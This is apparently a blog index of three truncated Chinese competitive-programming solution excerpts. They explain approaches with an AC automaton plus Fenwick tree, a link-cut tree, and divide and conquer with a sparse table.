洛谷P2414 阿狸的打字机 AC自动机 + 树状数组这道题暴力把询问离线排序之后,直接用AC自动机找答案可以拿到70分。。正解应该是考虑fail树和trie树父亲节点的意义。题目是让我们求第x个单词在第y个中出现了多少次,我们先看第y个单词在trie中的意义。假设第y个单词在trie中以p节点结尾,那么p节点的父亲节点(包括p节点自己)到根组成的串均为y的前缀。而这些节点的fail指针指向的节点代表什么呢...
2019牛客暑期多校训练营(第八场)- Explorer LCT和魔法森林类似,先排序一个关键字,用LCT动态维护另一个关键字。这里把r从大到小排序,然后动态加边。因为r的顺序是确定的,每次加入新边以后,r肯定是看加入的这条边的,所以我们考虑l就好了。对于l,我们要求能够通过的数量,肯定是要保留合法的大范围,因为小范围包含在了大范围里。之后就和魔法森林一样维护1~n的链。#include <bits/stdc++.h>...
2019 Multi-University Training Contest 10 - Make Rounddog Happy 分治 + ST表先预处理出区间内最大值的位置和每个数向左和向右能够延伸的最大距离。然后把每个区间的最大值的位置当成中点来分治统计每个数的贡献。统计的时候选区间较短的统计,类似于启发式合并?#include <bits/stdc++.h>#define INF 0x3f3f3f3f#define full(a, b) memset(a, b, sizeof a)#...